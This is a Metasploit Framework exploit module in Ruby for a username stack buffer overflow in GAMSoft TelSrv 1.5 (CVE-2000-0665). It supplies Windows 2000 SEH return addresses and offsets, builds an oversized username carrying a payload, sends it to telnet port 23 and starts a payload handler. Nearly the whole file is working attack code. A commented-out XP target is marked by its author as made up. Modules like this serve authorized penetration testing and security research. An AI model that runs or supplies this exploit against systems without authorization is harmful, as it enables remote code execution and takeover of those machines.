##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {}) 
    super(update_info(info,    
      'Name'    => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
      'Description'  => %q{
              This module exploits a username sprintf stack overflow in GAMSoft TelSrv 1.5.
      Other versions may also be affected. The service terminates after exploitation,
      so you only get one chance!
      },
      'Author'   => [ 'Patrick Webster <patrick[at]aushack.com>' ],
      'Arch'    => [ ARCH_X86 ], 
      'License'       => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'    =>
      [
        [ 'CVE', '2000-0665'],
        [ 'OSVDB', '373'],
        [ 'BID', '1478'], 
        [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
      ],         
      'Privileged'    => false, 
      'DefaultOptions'  =>
      {
        'EXITFUNC'   => 'thread',
      },
      'Payload'          =>
        { 
          'Space'      => 1000,
          'BadChars'     => "\x00\x0a",
          'StackAdjustment'   => -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
      [
                     [
        'Windows 2000 Pro SP0/4 English REMOTE',
        {
          'Ret'    => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
          'Offset'  => 1886,
        }
        ],
        [ 
        'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
        {
          'Ret'     => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
          'Offset'  => 3318,
        }
        ],
        [ 
        'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
        {
          'Ret'     => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
          'Offset'   => 3358,
        }
        ],
              #[
        #'Windows XP Pro SP0/1 English',
        #{
        #  'Ret'     => 0x71aa32ad, # pop/pop/ret xp pro en ALL
        #  'Offset'  => 2600, # this is made up and absolutely wrong ;-)
        #}
        #],
        #[
      ],
      'DisclosureDate' => 'Jul 17 2000', 
      'DefaultTarget' => 0))
            
      register_options(
      [
        Opt::RPORT(23),
      ], self.class)
  end

  def check 
    connect
    print_status("Attempting to determine if target is vulnerable...")
    sleep(7)
    banner = sock.get_once(-1,3)

    if (banner =~ /TelSrv 1\.5/)
      return Exploit::CheckCode::Vulnerable 
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...") 
    connect
    print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
    sleep(7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not. 

    username = rand_text_english(20000, payload_badchars)
    seh = generate_seh_payload(target.ret)
    username[target['Offset'], seh.length] = seh
  
    print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
    sock.put(username)
    sleep(0.25)
    print_status('Exploit sent...') 
    handler
    disconnect
  end

end